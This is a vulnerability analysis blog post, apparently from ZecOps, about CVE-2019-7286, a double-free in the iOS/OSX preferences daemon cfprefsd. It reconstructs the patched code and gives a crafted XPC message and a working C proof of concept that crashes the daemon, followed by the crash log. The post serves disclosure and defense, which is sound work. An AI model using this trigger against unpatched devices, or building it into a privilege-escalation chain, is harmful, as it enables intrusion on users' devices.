Analysis and Reproduction of iOS/OSX Vulnerability: CVE-2019-7286

SHARE THIS ARTICLE

Follow zecops

iOS 12.1.4 is the latest version of iOS that was released on February 8th 2019. This version patched four disclosed vulnerabilities on iOS. According to the tweet by Ben Hawkes from Project Zero, at least two of them were exploited in the wild as zero days. Here at ZecOps Research Team we were keen to analyze and reveal more details about these patched vulnerabilities.

If you are interested in doing similar research as part of our Reverse Bounty program – you may sign up here.

If you believe that you have been targeted – please contact ZecOps APT Incident Response Team here.

TL;DR:

  • CVE-2019-7286 was exploited in the wild
  • The vulnerability seems to be of critical severity and could have been used potentially also to maintain persistence after reboots
  • ZecOps were able to reproduce this vulnerability (POC code below)
  • The vulnerability could be used to escalate privileges to root as part of a chain for jailbreak on iOS 12.1.3.

Analyzing CVE-2019-7286

According to Apple’s description:

Foundation
Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation
Impact: An application may be able to gain elevated privileges
Description: A memory corruption issue was addressed with improved input validation.
CVE-2019-7286: an anonymous researcher, Clement Lecigne of Google Threat Analysis Group, Ian Beer of Google Project Zero, and Samuel Groß of Google Project Zero

Except for the fact that the vulnerability was patched in Apple’s Foundation framework, the description doesn’t provide us with a lot of details regarding the nature of the vulnerability.

After analyzing the patch in Foundation framework, the binary diffing revealed no significant change in the binaries of iOS 12.1.4 compared to iOS 12.1.3.  The next immediate suspect was CoreFoundation which showed a number of binary differences in Diaphora tool, as shown below:

By comparing the patches, we found a few minor changes in the implementation of CFPrefs Daemon (cfprefsd).

The man page for this daemon isn’t too descriptive:

cfprefsd provides preferences services for the CFPreferences and
NSUserDefaults APIs.
There are no configuration options to cfprefsd manually.

The CFPreferences option is used by almost every software on iOS/ OS X when it launches, thus a vulnerability in this daemon might also be useful to maintain persistency. Surprisingly, there is no public information about this CVE yet, as one would expect from a vulnerability that was actively exploited in the wild.

Patch Analysis

The same bug was also present on OS X, which aided ZecOps investigation and  analysis. At the time of the patch, a several minor changes were introduced into cfprefsd, but it appears that the most important modification was made  in the following function: 

[CFPrefsDaemon handleMultiMessage:replyHandler:]

Below is a snippet of ZecOps attempt to reconstruct the original Obj-C code along with the patch (in bold):

@implementation CFPrefsDaemon
-(void)handleMultiMessage:(xpc_object_t)xpc_dict replyHandler:(Callback)replyHandler
{
  // ...
  CFPrefMessagesArr = xpc_dictionary_get_value(xpc_dict, "CFPreferencesMessages");
  // ...
  xpc_array_count = xpc_array_get_count(CFPrefMessagesArr);
  xpc_buffer = (__int64*)__CFAllocateObjectArray(xpc_array_count);
  //...
  for( counter = 0; xpc_array_count != counter; counter++)
  {
    xpc_buffer[counter] = xpc_array_get_value(CFPrefMessagesArr, counter); // This method does not grant the caller a reference to the underlying object, and thus the caller is not responsible for releasing the object.
  }
  for( counter = 0; xpc_array_count != loop_counter ; counter++)
  {
    xpc_element = xpc_buffer[counter];
    xpc_buffer[counter] = 0;           //patch fix
    if ( xpc_get_type(xpc_element) == &_xpc_type_dictionary )
    {
      [self handleMessage_fromPeer_replyHandler: xpc_element fromPeer: xpc_connection replyHandler:^{
          if (xpc_element) // patch fix
        {
            xpc_object_t result = xpc_retain(xpc_element); 
            xpc_buffer[counter] = result;  
          }              
        }]; 
    }
    if ( !xpc_buffer[counter] )                //patch fix
      xpc_buffer[counter] = xpc_null_create(); //patch fix
  }
  //...
  array_from_xpc_buffer = xpc_array_create(xpc_buffer, xpc_array_count);
  xpc_dictionary_set_value(dict_response, "CFPreferencesMessages", array_from_xpc_buffer);
  xpc_release(array_from_xpc_buffer); 
  for( counter = 0; xpc_array_count != counter ; counter++)
  {
    current_element = xpc_buffer[counter];
    if (xpc_get_type(current_element) != &_xpc_type_null )
        xpc_release(current_element); // first free. Double free will occur when the array CFPrefMessagesArr will be released.
  }
  // ...
}

Vulnerability Details

handleMultiMessage:replyHandler: has a reference counting issue using “CFPreferencesMessages” array which is part of the xpc request.

The function reads the array’s objects into a memory buffer one by one using xpc_array_get_value, which does not affect reference counting. The last part of the function which releases all of the elements in the buffer assumes an ownership on the xpc objects. This is generally true since the callback block calls xpc_retain and replaces the original objects in the xpc_buffer. However, if the callback is not called as a result of a crafted message (The message body contains the handler index for the message. Not all handlers call the callback), a double free of the element will occur.

An XPC with following keys and values will trigger the vulnerability:

poc_dict = {
  "CFPreferencesOperation" = 5,
  "CFPreferencesMessages" = [
    {
     "CFPreferencesOperation": 4  
    }
  ]
}

Apple’s patch replaced the original XPC object with xpc_null if the callback didn’t update the xpc_buffer[count]. As a result, there’s no double free condition when xpc_null has no memory to release.

Vulnerability Reproduction

We were able to reproduce CVE-2019-7286 using the POC code snippet below:

#include ;

int main(int argc, const char * argv[]) {

  xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.cfprefsd.daemon",0,XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
  xpc_connection_set_event_handler(conn, ^(xpc_object_t t) {
    printf("got message: %sn", xpc_copy_description(t));
  });

  xpc_connection_resume(conn);

  xpc_object_t hello = xpc_dictionary_create(NULL, NULL, 0);
  xpc_dictionary_set_int64(hello, "CFPreferencesOperation", 5);

  xpc_object_t arr = xpc_array_create(NULL, 0);
  xpc_object_t arr_elem1 = xpc_dictionary_create(NULL, NULL, 0);
  xpc_dictionary_set_int64(arr_elem1, "CFPreferencesOperation", 4);

  xpc_array_append_value(arr, arr_elem1);
  xpc_dictionary_set_value(hello, "CFPreferencesMessages", arr);
  xpc_connection_send_message(conn, hello);
  xpc_release(hello);
  return 0;
}

Running the above program on iOS 12.0.1 resulted in cfprefsd crash:

Thread 6 name:  Dispatch queue: Serving PID 7210
Thread 6 Crashed:
0   libobjc.A.dylib          0x21acd6b00  objc_object::release+ 16 
1   libxpc.dylib             0x21b73bbc0  _xpc_array_dispose + 40 
2   libxpc.dylib             0x21b73a584  _xpc_dispose + 156          
3   libxpc.dylib             0x21b7449fc  _xpc_dictionary_dispose + 204                   
4   libxpc.dylib             0x21b73a584  _xpc_dispose + 156 
5   libxpc.dylib             0x21b742418  _xpc_connection_mach_event + 872 
6   libdispatch.dylib        0x21b528544  _dispatch_client_callout4 + 16 
7   libdispatch.dylib        0x21b4df068  _dispatch_mach_msg_invoke + 340 
8   libdispatch.dylib        0x21b4cfae4  _dispatch_lane_serial_drain + 284 
9   libdispatch.dylib        0x21b4dfc3c  _dispatch_mach_invoke + 476 
10  libdispatch.dylib        0x21b4cfae4  _dispatch_lane_serial_drain + 284 
11  libdispatch.dylib        0x21b4d0760  _dispatch_lane_invoke + 432 
12  libdispatch.dylib        0x21b4d8f00  _dispatch_workloop_worker_thread + 600 
13  libsystem_pthread.dylib  0x21b70a0f0  _pthread_wqthread + 312 
14  libsystem_pthread.dylib  0x21b70cd00  start_wqthread + 4 

Recommendations

  • Update to the latest OS X and iOS versions.
  • Reboot your iPhone/iPads occasionally (e.g. once a day) to disinfect from non-persistent attackers
  • Contact ZecOps in case you think that you or your company are being targeted by APT groups here.

If you enjoy doing similar analysis/research, we are accepting more researchers and analysts to our Reverse Bounty program.

77a10d1b745bc3e943a5ee45544c762021892a30

Hear the news first

  • Only essential content
  • New vulnerabilities & announcements
  • News from ZecOps Research Team
We won’t spam, pinky swear 🤞

ZecOps Mobile XDR is here, and its a game changer

Perform automated investigations in minutes to uncover cyber-espionage on smartphones and tablets.

LEARN MORE >

Partners, Resellers, Distributors and Innovative Security Teams

ZecOps provides the industry-first automated crash forensics platform across devices, operating systems and applications.

LEARN MORE >

SHARE THIS ARTICLE